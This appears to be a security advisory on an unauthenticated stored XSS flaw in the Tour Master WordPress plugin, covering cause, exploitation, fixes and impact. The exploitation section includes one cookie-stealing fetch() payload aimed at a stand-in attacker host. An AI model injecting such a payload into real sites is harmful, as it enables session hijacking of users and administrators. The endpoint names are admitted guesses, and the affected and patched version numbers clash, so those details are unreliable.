Atomic Edge analysis of CVE-2026-14239 (metadata-based):
CVE-2026-14239 is an unauthenticated stored cross-site scripting (XSS) vulnerability in the Tour Master – Tour Booking, Travel, Hotel WordPress plugin, affecting versions up to 5.4.8. Atomic Edge research classifies this as a high-severity issue (CVSS 7.2) because an attacker with no privileges can inject persistent JavaScript that executes in the context of any user viewing the injected page, including administrators. The vulnerability resides in the plugin’s handling of user-supplied input that is saved and later rendered without adequate sanitization or escaping.
Root Cause: The CWE classification (CWE-79) and the description indicate insufficient input sanitization and output escaping. The plugin likely accepts data from a public-facing form or AJAX action, stores it in the database (e.g., a booking field, review, or custom post meta), and outputs it without proper escaping (e.g., via esc_html or esc_attr). Atomic Edge analysis infers that the vulnerable component is an unauthenticated endpoint (e.g., an AJAX action or REST route) that processes user input and saves it to a location later displayed on the site. Because no code diff is available, the exact endpoint and parameter names are inferred from common WordPress plugin patterns and the plugin slug. The conclusion that the plugin fails to sanitize on input and escape on output is confirmed by the CVE description, but the specific code path remains unconfirmed.
Exploitation: An attacker can exploit this vulnerability by sending a crafted HTTP request to a public-facing endpoint. Atomic Edge research infers that the most likely vector is an AJAX action (e.g., action=tourmaster_booking or similar) accessible via /wp-admin/admin-ajax.php, or a REST API endpoint under /wp-json/tourmaster/v1/. The attacker supplies a payload such as fetch(‘https://attacker.example/steal?c=’+document.cookie) in a parameter that the plugin persists (e.g., booking_name, message, or review_content). Once stored, the script executes whenever a user (including an administrator) views the page containing the injected data, allowing session hijacking, defacement, or redirection. No authentication or nonce is required, as the vulnerability is unauthenticated.
Remediation: The fix requires implementing proper input sanitization and output escaping. On input, the plugin should validate and sanitize all user-supplied data using WordPress functions such as sanitize_text_field() or wp_kses() with a restrictive allowed HTML set. On output, the plugin must escape data using esc_html(), esc_attr(), or esc_url() depending on context. Atomic Edge analysis infers that the patch for version 5.4.8 (the patched version) likely adds these sanitization and escaping routines to the vulnerable endpoint. Because the vulnerable version is not downloadable, Atomic Edge cannot confirm the exact changes, but the remediation follows standard WordPress security practices for CWE-79.
Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browsers of site users, including administrators. This can lead to session theft, privilege escalation (by creating rogue admin accounts), content injection, malware distribution, or full site compromise. The CVSS vector (S:C) indicates a scope change, meaning the vulnerability can impact resources beyond the vulnerable component, such as the entire WordPress installation or the user’s browser. Atomic Edge research rates the real-world risk as high due to the unauthenticated nature and the persistence of the payload.







